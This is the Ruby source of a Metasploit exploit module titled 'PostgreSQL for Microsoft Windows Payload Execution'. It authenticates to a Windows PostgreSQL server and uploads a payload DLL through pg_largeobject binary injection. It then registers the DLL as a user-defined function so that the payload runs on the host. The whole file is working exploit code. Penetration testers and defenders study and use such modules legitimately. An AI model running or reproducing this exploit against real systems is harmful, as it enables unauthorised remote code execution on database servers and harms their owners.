metasploit-framework/modules/exploits/windows/postgres/postgres_payload.rb

133 lines
3.9 KiB
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Postgres
include Msf::Auxiliary::Report
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
# Creates an instance of this module.
def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL for Microsoft Windows Payload Execution',
'Description' => %q{
On default Microsoft Windows installations of PostgreSQL the postgres
service account may write to the current directory (which is usually
"C:\Program Files\PostgreSQL\<version>\data" where <version> is the
major.minor version of PostgreSQL). UDF DLL's may be sourced from
there as well.
This module uploads a Windows DLL file via the pg_largeobject method
of binary injection and creates a UDF (user defined function) from
that DLL. Because the payload is run from DllMain, it does not need to
conform to specific Postgres API versions.
},
'Author' =>
[
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries
'todb' # this Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf', ],
[ 'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL
],
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x86_64', { 'Arch' => ARCH_X86_64 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper.
))
deregister_options('SQL', 'RETURN_ROWSET')
end
def check
version = postgres_fingerprint
if version[:auth]
print_status "Authentication successful. Version: #{version}"
return CheckCode::Vulnerable
else
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
return CheckCode::Safe
end
end
def exploit
version = do_login(username,password,database)
case version
when :noauth; print_error "Authentication failed."; return
when :noconn; print_error "Connection failed."; return
else
print_status("#{rhost}:#{rport} - #{version}")
end
fname = "#{Rex::Text.rand_text_alpha(8)}.dll"
register_files_for_cleanup(fname)
unless postgres_upload_binary_data(generate_payload_dll, fname)
print_error "Could not upload the UDF DLL"
return
end
print_status "Uploaded as #{fname}"
begin
func_name = Rex::Text.rand_text_alpha(10)
postgres_query(
"create or replace function pg_temp.#{func_name}()"+
" returns void as '#{fname}','#{func_name}'"+
" language c strict immutable"
)
rescue RuntimeError => e
print_error "Failed to create UDF function: #{e.class}: #{e}"
end
postgres_logout if @postgres_conn
end
# Authenticate to the postgres server.
#
# Returns the version from #postgres_fingerprint
def do_login(user=nil,pass=nil,database=nil)
begin
password = pass || postgres_password
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
result = postgres_fingerprint(
:db => database,
:username => user,
:password => password
)
if result[:auth]
report_service(
:host => rhost,
:port => rport,
:name => "postgres",
:info => result.values.first
)
return result[:auth]
else
print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
return :noauth
end
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
return :noconn
end
end
end